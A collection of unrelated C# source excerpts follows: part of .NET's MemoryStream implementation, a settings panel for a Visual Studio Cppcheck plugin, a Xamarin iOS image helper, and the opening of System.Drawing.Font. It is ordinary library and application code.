_lastReadTask = null;
}
}
finally {
// Call base.Close() to cleanup async IO resources
base.Dispose(disposing);
}
}
// returns a bool saying whether we allocated a new array.
private bool EnsureCapacity(int value) {
// Check for overflow
if (value < 0)
throw new IOException(Environment.GetResourceString("IO.IO_StreamTooLong"));
if (value > _capacity) {
int newCapacity = value;
if (newCapacity < 256)
newCapacity = 256;
// We are ok with this overflowing since the next statement will deal
// with the cases where _capacity*2 overflows.
if (newCapacity < _capacity * 2)
newCapacity = _capacity * 2;
// We want to expand the array up to Array.MaxArrayLengthOneDimensional
// And we want to give the user the value that they asked for
if ((uint)(_capacity * 2) > Array.MaxByteArrayLength)
newCapacity = value > Array.MaxByteArrayLength ? value : Array.MaxByteArrayLength;
Capacity = newCapacity;
return true;
}
return false;
}
public override void Flush() {
}
[ComVisible(false)]
public override Task FlushAsync(CancellationToken cancellationToken) {
if (cancellationToken.IsCancellationRequested)
return Task.FromCanceled(cancellationToken);
try {
Flush();
return Task.CompletedTask;
} catch(Exception ex) {
return Task.FromException(ex);
}
}
public virtual byte[] GetBuffer() {
if (!_exposable)
throw new UnauthorizedAccessException(Environment.GetResourceString("UnauthorizedAccess_MemStreamBuffer"));
return _buffer;
}
public virtual bool TryGetBuffer(out ArraySegment<byte> buffer) {
if (!_exposable) {
buffer = default(ArraySegment<byte>);
return false;
}
buffer = new ArraySegment<byte>(_buffer, offset:_origin, count:(_length - _origin));
return true;
}
// -------------- PERF: Internal functions for fast direct access of MemoryStream buffer (cf. BinaryReader for usage) ---------------
// PERF: Internal sibling of GetBuffer, always returns a buffer (cf. GetBuffer())
internal byte[] InternalGetBuffer() {
return _buffer;
}
// PERF: Get origin and length - used in ResourceWriter.
[FriendAccessAllowed]
internal void InternalGetOriginAndLength(out int origin, out int length)
{
if (!_isOpen) __Error.StreamIsClosed();
origin = _origin;
length = _length;
}
// PERF: True cursor position, we don't need _origin for direct access
internal int InternalGetPosition() {
if (!_isOpen) __Error.StreamIsClosed();
return _position;
}
// PERF: Takes out Int32 as fast as possible
internal int InternalReadInt32() {
if (!_isOpen)
__Error.StreamIsClosed();
int pos = (_position += 4); // use temp to avoid a race condition
if (pos > _length)
{
_position = _length;
__Error.EndOfFile();
}
return (int)(_buffer[pos-4] | _buffer[pos-3] << 8 | _buffer[pos-2] << 16 | _buffer[pos-1] << 24);
}
// PERF: Get actual length of bytes available for read; do sanity checks; shift position - i.e. everything except actual copying bytes
internal int InternalEmulateRead(int count) {
if (!_isOpen) __Error.StreamIsClosed();
int n = _length - _position;
if (n > count) n = count;
if (n < 0) n = 0;
Debug.Assert(_position + n >= 0, "_position + n >= 0"); // len is less than 2^31 -1.
_position += n;
return n;
}
// Gets & sets the capacity (number of bytes allocated) for this stream.
// The capacity cannot be set to a value less than the current length
// of the stream.
//
public virtual int Capacity {
get {
if (!_isOpen) __Error.StreamIsClosed();
return _capacity - _origin;
}
set {
// Only update the capacity if the MS is expandable and the value is different than the current capacity.
// Special behavior if the MS isn't expandable: we don't throw if value is the same as the current capacity
if (value < Length) throw new ArgumentOutOfRangeException(nameof(value), Environment.GetResourceString("ArgumentOutOfRange_SmallCapacity"));
Contract.Ensures(_capacity - _origin == value);
Contract.EndContractBlock();
if (!_isOpen) __Error.StreamIsClosed();
if (!_expandable && (value != Capacity)) __Error.MemoryStreamNotExpandable();
// MemoryStream has this invariant: _origin > 0 => !expandable (see ctors)
if (_expandable && value != _capacity) {
if (value > 0) {
byte[] newBuffer = new byte[value];
if (_length > 0) Buffer.InternalBlockCopy(_buffer, 0, newBuffer, 0, _length);
_buffer = newBuffer;
}
else {
_buffer = null;
}
_capacity = value;
}
}
}
public override long Length {
get {
if (!_isOpen) __Error.StreamIsClosed();
return _length - _origin;
}
}
public override long Position {
get {
if (!_isOpen) __Error.StreamIsClosed();
return _position - _origin;
}
set {
if (value < 0)
throw new ArgumentOutOfRangeException(nameof(value), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
Contract.Ensures(Position == value);
Contract.EndContractBlock();
if (!_isOpen) __Error.StreamIsClosed();
if (value > MemStreamMaxLength)
throw new ArgumentOutOfRangeException(nameof(value), Environment.GetResourceString("ArgumentOutOfRange_StreamLength"));
_position = _origin + (int)value;
}
}
public override int Read([In, Out] byte[] buffer, int offset, int count) {
if (buffer==null)
throw new ArgumentNullException(nameof(buffer), Environment.GetResourceString("ArgumentNull_Buffer"));
if (offset < 0)
throw new ArgumentOutOfRangeException(nameof(offset), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (count < 0)
throw new ArgumentOutOfRangeException(nameof(count), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (buffer.Length - offset < count)
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidOffLen"));
Contract.EndContractBlock();
if (!_isOpen) __Error.StreamIsClosed();
int n = _length - _position;
if (n > count) n = count;
if (n <= 0)
return 0;
Debug.Assert(_position + n >= 0, "_position + n >= 0"); // len is less than 2^31 -1.
if (n <= 8)
{
int byteCount = n;
while (--byteCount >= 0)
buffer[offset + byteCount] = _buffer[_position + byteCount];
}
else
Buffer.InternalBlockCopy(_buffer, _position, buffer, offset, n);
_position += n;
return n;
}
[ComVisible(false)]
public override Task<int> ReadAsync(Byte[] buffer, int offset, int count, CancellationToken cancellationToken)
{
if (buffer==null)
throw new ArgumentNullException(nameof(buffer), Environment.GetResourceString("ArgumentNull_Buffer"));
if (offset < 0)
throw new ArgumentOutOfRangeException(nameof(offset), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (count < 0)
throw new ArgumentOutOfRangeException(nameof(count), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (buffer.Length - offset < count)
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidOffLen"));
Contract.EndContractBlock(); // contract validation copied from Read(...)
// If cancellation was requested, bail early
if (cancellationToken.IsCancellationRequested)
return Task.FromCanceled<int>(cancellationToken);
try
{
int n = Read(buffer, offset, count);
var t = _lastReadTask;
Debug.Assert(t == null || t.Status == TaskStatus.RanToCompletion,
"Expected that a stored last task completed successfully");
return (t != null && t.Result == n) ? t : (_lastReadTask = Task.FromResult<int>(n));
}
catch (OperationCanceledException oce)
{
return Task.FromCancellation<int>(oce);
}
catch (Exception exception)
{
return Task.FromException<int>(exception);
}
}
public override int ReadByte() {
if (!_isOpen) __Error.StreamIsClosed();
if (_position >= _length) return -1;
return _buffer[_position++];
}
public override void CopyTo(Stream destination, int bufferSize)
{
// Since we did not originally override this method, validate the arguments
// the same way Stream does for back-compat.
StreamHelpers.ValidateCopyToArgs(this, destination, bufferSize);
// If we have been inherited into a subclass, the following implementation could be incorrect
// since it does not call through to Read() which a subclass might have overridden.
// To be safe we will only use this implementation in cases where we know it is safe to do so,
// and delegate to our base class (which will call into Read) when we are not sure.
if (GetType() != typeof(MemoryStream))
{
base.CopyTo(destination, bufferSize);
return;
}
int originalPosition = _position;
// Seek to the end of the MemoryStream.
int remaining = InternalEmulateRead(_length - originalPosition);
// If we were already at or past the end, there's no copying to do so just quit.
if (remaining > 0)
{
// Call Write() on the other Stream, using our internal buffer and avoiding any
// intermediary allocations.
destination.Write(_buffer, originalPosition, remaining);
}
}
public override Task CopyToAsync(Stream destination, Int32 bufferSize, CancellationToken cancellationToken) {
// This implementation offers beter performance compared to the base class version.
StreamHelpers.ValidateCopyToArgs(this, destination, bufferSize);
// If we have been inherited into a subclass, the following implementation could be incorrect
// since it does not call through to ReadAsync() which a subclass might have overridden.
// To be safe we will only use this implementation in cases where we know it is safe to do so,
// and delegate to our base class (which will call into ReadAsync) when we are not sure.
if (this.GetType() != typeof(MemoryStream))
return base.CopyToAsync(destination, bufferSize, cancellationToken);
// If cancelled - return fast:
if (cancellationToken.IsCancellationRequested)
return Task.FromCanceled(cancellationToken);
// Avoid copying data from this buffer into a temp buffer:
// (require that InternalEmulateRead does not throw,
// otherwise it needs to be wrapped into try-catch-Task.FromException like memStrDest.Write below)
Int32 pos = _position;
Int32 n = InternalEmulateRead(_length - _position);
// If destination is not a memory stream, write there asynchronously:
MemoryStream memStrDest = destination as MemoryStream;
if (memStrDest == null)
return destination.WriteAsync(_buffer, pos, n, cancellationToken);
try {
// If destination is a MemoryStream, CopyTo synchronously:
memStrDest.Write(_buffer, pos, n);
return Task.CompletedTask;
} catch(Exception ex) {
return Task.FromException(ex);
}
}
public override long Seek(long offset, SeekOrigin loc) {
if (!_isOpen) __Error.StreamIsClosed();
if (offset > MemStreamMaxLength)
throw new ArgumentOutOfRangeException(nameof(offset), Environment.GetResourceString("ArgumentOutOfRange_StreamLength"));
switch(loc) {
case SeekOrigin.Begin: {
int tempPosition = unchecked(_origin + (int)offset);
if (offset < 0 || tempPosition < _origin)
throw new IOException(Environment.GetResourceString("IO.IO_SeekBeforeBegin"));
_position = tempPosition;
break;
}
case SeekOrigin.Current: {
int tempPosition = unchecked(_position + (int)offset);
if (unchecked(_position + offset) < _origin || tempPosition < _origin)
throw new IOException(Environment.GetResourceString("IO.IO_SeekBeforeBegin"));
_position = tempPosition;
break;
}
case SeekOrigin.End: {
int tempPosition = unchecked(_length + (int)offset);
if ( unchecked(_length + offset) < _origin || tempPosition < _origin )
throw new IOException(Environment.GetResourceString("IO.IO_SeekBeforeBegin"));
_position = tempPosition;
break;
}
default:
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidSeekOrigin"));
}
Debug.Assert(_position >= 0, "_position >= 0");
return _position;
}
// Sets the length of the stream to a given value. The new
// value must be nonnegative and less than the space remaining in
// the array, Int32.MaxValue - origin
// Origin is 0 in all cases other than a MemoryStream created on
// top of an existing array and a specific starting offset was passed
// into the MemoryStream constructor. The upper bounds prevents any
// situations where a stream may be created on top of an array then
// the stream is made longer than the maximum possible length of the
// array (Int32.MaxValue).
//
public override void SetLength(long value) {
if (value < 0 || value > Int32.MaxValue) {
throw new ArgumentOutOfRangeException(nameof(value), Environment.GetResourceString("ArgumentOutOfRange_StreamLength"));
}
Contract.Ensures(_length - _origin == value);
Contract.EndContractBlock();
EnsureWriteable();
// Origin wasn't publicly exposed above.
Debug.Assert(MemStreamMaxLength == Int32.MaxValue); // Check parameter validation logic in this method if this fails.
if (value > (Int32.MaxValue - _origin)) {
throw new ArgumentOutOfRangeException(nameof(value), Environment.GetResourceString("ArgumentOutOfRange_StreamLength"));
}
int newLength = _origin + (int)value;
bool allocatedNewArray = EnsureCapacity(newLength);
if (!allocatedNewArray && newLength > _length)
Array.Clear(_buffer, _length, newLength - _length);
_length = newLength;
if (_position > newLength) _position = newLength;
}
public virtual byte[] ToArray() {
BCLDebug.Perf(_exposable, "MemoryStream::GetBuffer will let you avoid a copy.");
byte[] copy = new byte[_length - _origin];
Buffer.InternalBlockCopy(_buffer, _origin, copy, 0, _length - _origin);
return copy;
}
public override void Write(byte[] buffer, int offset, int count) {
if (buffer==null)
throw new ArgumentNullException(nameof(buffer), Environment.GetResourceString("ArgumentNull_Buffer"));
if (offset < 0)
throw new ArgumentOutOfRangeException(nameof(offset), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (count < 0)
throw new ArgumentOutOfRangeException(nameof(count), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (buffer.Length - offset < count)
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidOffLen"));
Contract.EndContractBlock();
if (!_isOpen) __Error.StreamIsClosed();
EnsureWriteable();
int i = _position + count;
// Check for overflow
if (i < 0)
throw new IOException(Environment.GetResourceString("IO.IO_StreamTooLong"));
if (i > _length) {
bool mustZero = _position > _length;
if (i > _capacity) {
bool allocatedNewArray = EnsureCapacity(i);
if (allocatedNewArray)
mustZero = false;
}
if (mustZero)
Array.Clear(_buffer, _length, i - _length);
_length = i;
}
if ((count <= 8) && (buffer != _buffer))
{
int byteCount = count;
while (--byteCount >= 0)
_buffer[_position + byteCount] = buffer[offset + byteCount];
}
else
Buffer.InternalBlockCopy(buffer, offset, _buffer, _position, count);
_position = i;
}
[ComVisible(false)]
public override Task WriteAsync(Byte[] buffer, int offset, int count, CancellationToken cancellationToken)
{
if (buffer == null)
throw new ArgumentNullException(nameof(buffer), Environment.GetResourceString("ArgumentNull_Buffer"));
if (offset < 0)
throw new ArgumentOutOfRangeException(nameof(offset), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (count < 0)
throw new ArgumentOutOfRangeException(nameof(count), Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum"));
if (buffer.Length - offset < count)
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidOffLen"));
Contract.EndContractBlock(); // contract validation copied from Write(...)
// If cancellation is already requested, bail early
if (cancellationToken.IsCancellationRequested)
return Task.FromCanceled(cancellationToken);
try
{
Write(buffer, offset, count);
return Task.CompletedTask;
}
catch (OperationCanceledException oce)
{
return Task.FromCancellation<VoidTaskResult>(oce);
}
catch (Exception exception)
{
return Task.FromException(exception);
}
}
public override void WriteByte(byte value) {
if (!_isOpen) __Error.StreamIsClosed();
EnsureWriteable();
if (_position >= _length) {
int newLength = _position + 1;
bool mustZero = _position > _length;
if (newLength >= _capacity) {
bool allocatedNewArray = EnsureCapacity(newLength);
if (allocatedNewArray)
mustZero = false;
}
if (mustZero)
Array.Clear(_buffer, _length, _position - _length);
_length = newLength;
}
_buffer[_position++] = value;
}
// Writes this MemoryStream to another stream.
public virtual void WriteTo(Stream stream) {
if (stream==null)
throw new ArgumentNullException(nameof(stream), Environment.GetResourceString("ArgumentNull_Stream"));
Contract.EndContractBlock();
if (!_isOpen) __Error.StreamIsClosed();
stream.Write(_buffer, _origin, _length - _origin);
}
}
}
| |
using System;
using System.Collections.Generic;
using System.IO;
using System.Windows.Controls;
using System.Xml;
namespace VSPackage.CPPCheckPlugin
{
class ChecksPanel
{
private StackPanel mPanel;
// copypasted from cppcheck documentation
private Dictionary<string, string> SeverityToolTips = new Dictionary<string, string>()
{
{"error", "Programming error.\nThis indicates severe error like memory leak etc.\nThe error is certain."},
{"warning", "Used for dangerous coding style that can cause severe runtime errors.\nFor example: forgetting to initialize a member variable in a constructor."},
{"style", "Style warning.\nUsed for general code cleanup recommendations. Fixing these will not fix any bugs but will make the code easier to maintain.\nFor example: redundant code, unreachable code, etc."},
{"performance", "Performance warning.\nNot an error as is but suboptimal code and fixing it probably leads to faster performance of the compiled code."},
{"portability", "Portability warning.\nThis warning indicates the code is not properly portable for different platforms and bitnesses (32/64 bit). If the code is meant to compile in different platforms and bitnesses these warnings should be fixed."},
{"information", "Checking information.\nInformation message about the checking (process) itself. These messages inform about header files not found etc issues that are not errors in the code but something user needs to know."},
{"debug", "Debug message.\nDebug-mode message useful for the developers."}
};
class CheckInfo
{
public string id;
public string label;
public string toolTip;
public CheckBox box;
};
class SeverityInfo
{
public string id;
public string toolTip;
public List<CheckInfo> checks = new List<CheckInfo>();
public CheckBox box;
public ScrollViewer scrollView;
};
Dictionary<string, SeverityInfo> mChecks = new Dictionary<string, SeverityInfo>();
public ChecksPanel(StackPanel panel)
{
mPanel = panel;
BuildChecksList();
GenerateControls();
LoadSettings();
}
public void LoadSettings()
{
var enabledSeverities = Properties.Settings.Default.SeveritiesString.Split(',');
HashSet<string> suppressions = new HashSet<string>(Properties.Settings.Default.SuppressionsString.Split(','));
foreach (var severity in mChecks)
{
severity.Value.scrollView.IsEnabled = false;
foreach (CheckInfo check in severity.Value.checks)
{
check.box.IsChecked = suppressions.Contains(check.id) == false;
}
}
mChecks["error"].box.IsChecked = true;
mChecks["error"].box.IsEnabled = false;
mChecks["error"].box.Content = "error (can't be disabled)";
mChecks["error"].scrollView.IsEnabled = true;
foreach (var severity in enabledSeverities)
{
if (mChecks.ContainsKey(severity))
{
mChecks[severity].box.IsChecked = true;
mChecks[severity].scrollView.IsEnabled = true;
}
}
}
private string GetSeveritiesString()
{
string result = "";
foreach (var severity in mChecks)
{
if (severity.Key != "error" && severity.Value.box.IsChecked == true)
{
if (result.Length != 0)
result += ",";
result += severity.Value.id;
}
}
return result;
}
private string GetSuppressionsString()
{
string result = "";
foreach (var severity in mChecks)
{
foreach (CheckInfo check in severity.Value.checks)
{
if (check.box.IsChecked == false)
{
if (result.Length != 0)
result += ",";
result += check.id;
}
}
}
return result;
}
private void BuildChecksList()
{
var checksList = LoadChecksList();
foreach (XmlNode node in checksList.SelectNodes("//errors/error"))
{
string id = node.Attributes["id"].Value;
string severity = node.Attributes["severity"].Value;
string message = node.Attributes["msg"].Value;
string verboseMessage = node.Attributes["verbose"].Value;
if (!mChecks.ContainsKey(severity))
mChecks.Add(severity, new SeverityInfo { id = severity, toolTip = SeverityToolTips[severity] });
string checkToolTip = FormatTooltip(id, severity, message, verboseMessage);
mChecks[severity].checks.Add(new CheckInfo { id = id, toolTip = checkToolTip, label = message });
}
}
private static string FormatTooltip(string id, string severity, string message, string verboseMessage)
{
string multilineToolTip = "";
string remainingToolTip = "id : " + id + "\n" + verboseMessage;
while (remainingToolTip.Length > 100)
{
int spaceIdx = remainingToolTip.IndexOf(' ', 100);
if (spaceIdx == -1)
break;
multilineToolTip += remainingToolTip.Substring(0, spaceIdx) + Environment.NewLine;
remainingToolTip = remainingToolTip.Substring(spaceIdx + 1);
}
multilineToolTip += remainingToolTip;
return multilineToolTip;
}
private XmlDocument LoadChecksList()
{
using (var process = new System.Diagnostics.Process())
{
var startInfo = process.StartInfo;
startInfo.UseShellExecute = false;
startInfo.CreateNoWindow = true;
startInfo.RedirectStandardOutput = true;
startInfo.FileName = AnalyzerCppcheck.cppcheckExePath();
startInfo.WorkingDirectory = Path.GetDirectoryName(startInfo.FileName);
startInfo.Arguments = "--errorlist --xml-version=2";
process.Start();
String output;
using (var outputStream = process.StandardOutput)
{
output = outputStream.ReadToEnd();
}
process.WaitForExit();
var checksList = new XmlDocument();
checksList.LoadXml(output);
return checksList;
}
}
private void GenerateControls()
{
foreach (var severity in mChecks)
{
var severityCheckBox = new CheckBox();
severity.Value.box = severityCheckBox;
severityCheckBox.Name = severity.Value.id;
severityCheckBox.Content = severity.Value.id;
severityCheckBox.ToolTip = severity.Value.toolTip;
severityCheckBox.Checked += Severity_Changed;
severityCheckBox.Unchecked += Severity_Changed;
mPanel.Children.Add(severityCheckBox);
var scrollView = new ScrollViewer();
scrollView.Margin = new System.Windows.Thickness(20, 0, 0, 0);
scrollView.MaxHeight = 100;
mPanel.Children.Add(scrollView);
var subPanel = new StackPanel();
severity.Value.scrollView = scrollView;
scrollView.Content = subPanel;
severity.Value.checks.Sort((check1, check2) => check1.label.CompareTo(check2.label));
foreach (CheckInfo check in severity.Value.checks)
{
var box = new CheckBox();
check.box = box;
box.Name = check.id;
box.Content = /*check.id + ":\t" +*/ check.label;
box.ToolTip = check.toolTip;
box.Checked += Check_Changed;
box.Unchecked += Check_Changed;
subPanel.Children.Add(box);
}
}
}
private void Severity_Changed(object sender, System.Windows.RoutedEventArgs e)
{
var box = (CheckBox)sender;
if (mChecks.ContainsKey(box.Name))
{
mChecks[box.Name].scrollView.IsEnabled = box.IsChecked == true;
}
Properties.Settings.Default.SeveritiesString = GetSeveritiesString();
Properties.Settings.Default.Save();
}
private void Check_Changed(object sender, System.Windows.RoutedEventArgs e)
{
Properties.Settings.Default.SuppressionsString = GetSuppressionsString();
Properties.Settings.Default.Save();
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using CoreGraphics;
using Foundation;
using JimBobBennett.JimLib.Extensions;
using JimBobBennett.JimLib.Network;
using JimBobBennett.JimLib.Xamarin.ios.Extensions;
using JimBobBennett.JimLib.Xamarin.Images;
using UIKit;
using Xamarin.Forms;
using Xamarin.Media;
namespace JimBobBennett.JimLib.Xamarin.ios.Images
{
public class ImageHelper : IImageHelper
{
private readonly Dictionary<string, ImageSource> _cachedImages = new Dictionary<string, ImageSource>();
private readonly IRestConnection _restConnection;
public ImageHelper(IRestConnection restConnection)
{
_restConnection = restConnection;
}
public ImageSource GetImageSourceFromBase64(string base64)
{
if (base64.IsNullOrEmpty()) return null;
return GetImageSourceFromUIImage(GetUIImageFromBase64(base64));
}
public async Task<ImageSource> GetImageAsync(PhotoSource source,
ImageOptions options = null)
{
switch (source)
{
case PhotoSource.Camera:
return await GetImageFromCameraAsync(options);
default:
return await GetImageFromExistingAsync(options);
}
}
public async Task<ImageSource> GetImageAsync(string url, ImageOptions options = null, bool canCache = false)
{
ImageSource retVal;
if (canCache && _cachedImages.TryGetValue(url, out retVal))
return retVal;
return await Task.Run(() =>
{
try
{
var image = UIImage.LoadFromData(NSData.FromUrl(new NSUrl(url)));
if (image == null)
return null;
retVal = ProcessImage(options, image);
if (canCache)
_cachedImages[url] = retVal;
return retVal;
}
catch
{
return null;
}
});
}
public async Task<ImageSource> GetImageAsync(string baseUrl, string resource = "/",
string username = null, string password = null, int timeout = 10000,
Dictionary<string, string> headers = null, ImageOptions options = null, bool canCache = false)
{
ImageSource retVal;
var uriBuilder = new UriBuilder(baseUrl) { Fragment = resource };
var key = uriBuilder.Uri.ToString();
if (canCache && _cachedImages.TryGetValue(key, out retVal))
return retVal;
var bytes = await _restConnection.MakeRawGetRequestAsync(baseUrl, resource, username, password,
timeout, headers);
if (bytes == null)
return null;
var image = GetUIImageFromBase64(Convert.ToBase64String(bytes));
if (image == null)
return null;
retVal = ProcessImage(options, image);
if (canCache)
_cachedImages[key] = retVal;
return retVal;
}
public PhotoSource AvailablePhotoSources
{
get
{
var mediaPicker = new MediaPicker();
var retVal = PhotoSource.None;
if (mediaPicker.IsCameraAvailable)
retVal |= PhotoSource.Camera;
if (mediaPicker.PhotosSupported)
retVal |= PhotoSource.Existing;
return retVal;
}
}
private static async Task<ImageSource> GetImageFromCameraAsync(ImageOptions options = null)
{
var mediaPicker = new MediaPicker();
if (mediaPicker.IsCameraAvailable)
{
try
{
var style = UIApplication.SharedApplication.StatusBarStyle;
var file = await mediaPicker.TakePhotoAsync(new StoreCameraMediaOptions());
UIApplication.SharedApplication.StatusBarStyle = style;
options = options ?? new ImageOptions();
options.FixOrientation = true;
return ProcessImageFile(options, file);
}
catch (Exception)
{
return null;
}
}
return null;
}
private static async Task<ImageSource> GetImageFromExistingAsync(ImageOptions options = null)
{
var mediaPicker = new MediaPicker();
if (mediaPicker.PhotosSupported)
{
try
{
var style = UIApplication.SharedApplication.StatusBarStyle;
var file = await mediaPicker.PickPhotoAsync();
UIApplication.SharedApplication.StatusBarStyle = style;
return ProcessImageFile(options, file);
}
catch (Exception)
{
return null;
}
}
return null;
}
private static ImageSource ProcessImageFile(ImageOptions options, MediaFile file)
{
if (file == null)
return null;
var image = UIImage.FromFile(file.Path);
return ProcessImage(options, image);
}
private static ImageSource ProcessImage(ImageOptions options, UIImage image)
{
if (options != null)
{
if (options.HasSizeSet)
image = MaxResizeImage(image, options.MaxWidth, options.MaxHeight);
if (options.FixOrientation)
image = FixOrientation(image);
}
return GetImageSourceFromUIImage(image);
}
private static ImageSource ProcessImageSource(ImageOptions options, UIImage image)
{
if (options != null)
{
if (options.HasSizeSet)
image = MaxResizeImage(image, options.MaxWidth, options.MaxHeight);
if (options.FixOrientation)
image = FixOrientation(image);
}
return GetImageSourceFromUIImage(image);
}
private static UIImage FixOrientation(UIImage image)
{
if (image.Orientation == UIImageOrientation.Up) return image;
UIGraphics.BeginImageContextWithOptions(image.Size, false, image.CurrentScale);
image.Draw(new CGRect(new CGPoint(0, 0), image.Size));
var normalizedImage = UIGraphics.GetImageFromCurrentImageContext();
UIGraphics.EndImageContext();
return normalizedImage;
}
private static UIImage GetUIImageFromBase64(string base64)
{
var data = new NSData(base64, NSDataBase64DecodingOptions.None);
return UIImage.LoadFromData(data);
}
internal static ImageSource GetImageSourceFromUIImage(UIImage uiImage)
{
return uiImage == null ? null : ImageSource.FromStream(() => uiImage.AsJPEG(0.75f).AsStream());
}
// resize the image to be contained within a maximum width and height, keeping aspect ratio
internal static UIImage MaxResizeImage(UIImage sourceImage, nfloat maxWidth, nfloat maxHeight)
{
if (sourceImage == null || maxWidth <= 0 || maxHeight <= 0) return null;
var sourceSize = sourceImage.Size;
var maxResizeFactor = (nfloat)Math.Max(maxWidth / sourceSize.Width, maxHeight / sourceSize.Height);
if (maxResizeFactor > 1) return sourceImage;
var width = maxResizeFactor * sourceSize.Width;
var height = maxResizeFactor * sourceSize.Height;
UIGraphics.BeginImageContext(new CGSize(width, height));
sourceImage.Draw(new CGRect(0, 0, width, height));
var resultImage = UIGraphics.GetImageFromCurrentImageContext();
UIGraphics.EndImageContext();
return resultImage;
}
internal static UIImage AdjustOpacity(UIImage image, float opacity)
{
UIGraphics.BeginImageContextWithOptions(image.Size, false, 0.0f);
var ctx = UIGraphics.GetCurrentContext();
var area = new CGRect(0, 0, image.Size.Width, image.Size.Height);
ctx.ScaleCTM(1, -1);
ctx.TranslateCTM(0, -area.Height);
ctx.SetBlendMode(CGBlendMode.Multiply);
ctx.SetAlpha(opacity);
ctx.DrawImage(area, image.CGImage);
var newImage = UIGraphics.GetImageFromCurrentImageContext();
UIGraphics.EndImageContext();
return newImage;
}
public async Task<ImageSource> GetProcessedImageSourceAsync(ImageSource imageSource, ImageOptions options)
{
var uiImage = await imageSource.GetImageAsync();
return ProcessImageSource(options, uiImage);
}
public async Task<string> GetBase64FromImageSource(ImageSource imageSource, ImageType imageType = ImageType.Jpeg)
{
var image = await imageSource.GetImageAsync();
switch (imageType)
{
case ImageType.Jpeg:
return image.AsJPEG(0.75f).GetBase64EncodedString(NSDataBase64EncodingOptions.None);
case ImageType.Png:
return image.AsPNG().GetBase64EncodedString(NSDataBase64EncodingOptions.None);
}
return null;
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
using Gdip = System.Drawing.SafeNativeMethods.Gdip;
namespace System.Drawing
{
/// <summary>
/// Defines a particular format for text, including font face, size, and style attributes.
/// </summary>
#if netcoreapp
[TypeConverter("System.Drawing.FontConverter, System.Windows.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51")]
#endif
[Serializable]
[System.Runtime.CompilerServices.TypeForwardedFrom("System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")]
public sealed partial class Font : MarshalByRefObject, ICloneable, IDisposable, ISerializable
{
private IntPtr _nativeFont;
private float _fontSize;
private FontStyle _fontStyle;
private FontFamily _fontFamily;
private GraphicsUnit _fontUnit;
private byte _gdiCharSet = SafeNativeMethods.DEFAULT_CHARSET;
private bool _gdiVerticalFont;
private string _systemFontName = "";
private string _originalFontName;
// Return value is in Unit (the unit the font was created in)
/// <summary>
/// Gets the size of this <see cref='Font'/>.
/// </summary>
public float Size => _fontSize;
/// <summary>
/// Gets style information for this <see cref='Font'/>.
/// </summary>
[Browsable(false)]
public FontStyle Style => _fontStyle;
/// <summary>
/// Gets a value indicating whether this <see cref='System.Drawing.Font'/> is bold.
/// </summary>
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public bool Bold => (Style & FontStyle.Bold) != 0;
/// <summary>
/// Gets a value indicating whether this <see cref='Font'/> is Italic.
/// </summary>
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public bool Italic => (Style & FontStyle.Italic) != 0;
/// <summary>
/// Gets a value indicating whether this <see cref='Font'/> is strikeout (has a line through it).
/// </summary>
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public bool Strikeout => (Style & FontStyle.Strikeout) != 0;
/// <summary>
/// Gets a value indicating whether this <see cref='Font'/> is underlined.
/// </summary>
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public bool Underline => (Style & FontStyle.Underline) != 0;
/// <summary>
/// Gets the <see cref='Drawing.FontFamily'/> of this <see cref='Font'/>.
/// </summary>
[Browsable(false)]
public FontFamily FontFamily => _fontFamily;
/// <summary>
/// Gets the face name of this <see cref='Font'/> .
/// </summary>
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
#if !NETCORE
[Editor ("System.Drawing.Design.FontNameEditor, " + Consts.AssemblySystem_Drawing_Design, typeof (System.Drawing.Design.UITypeEditor))]
[TypeConverter (typeof (FontConverter.FontNameConverter))]
#endif
public string Name => FontFamily.Name;
/// <summary>
/// Gets the unit of measure for this <see cref='Font'/>.
/// </summary>
#if !NETCORE
[TypeConverter (typeof (FontConverter.FontUnitConverter))]
#endif
public GraphicsUnit Unit => _fontUnit;
/// <summary>
/// Returns the GDI char set for this instance of a font. This will only
/// be valid if this font was created from a classic GDI font definition,
/// like a LOGFONT or HFONT, or it was passed into the constructor.
///
/// This is here for compatibility with native Win32 intrinsic controls
/// on non-Unicode platforms.
/// </summary>
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public byte GdiCharSet => _gdiCharSet;
/// <summary>
/// Determines if this font was created to represent a GDI vertical font. This will only be valid if this font
/// was created from a classic GDIfont definition, like a LOGFONT or HFONT, or it was passed into the constructor.
///
/// This is here for compatibility with native Win32 intrinsic controls on non-Unicode platforms.
/// </summary>
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public bool GdiVerticalFont => _gdiVerticalFont;
/// <summary>
/// This property is required by the framework and not intended to be used directly.
/// </summary>
[Browsable(false)]
public string OriginalFontName => _originalFontName;
/// <summary>
/// Gets the name of this <see cref='Font'/>.
/// </summary>
[Browsable(false)]
public string SystemFontName => _systemFontName;
/// <summary>
/// Returns true if this <see cref='Font'/> is a SystemFont.
/// </summary>
[Browsable(false)]
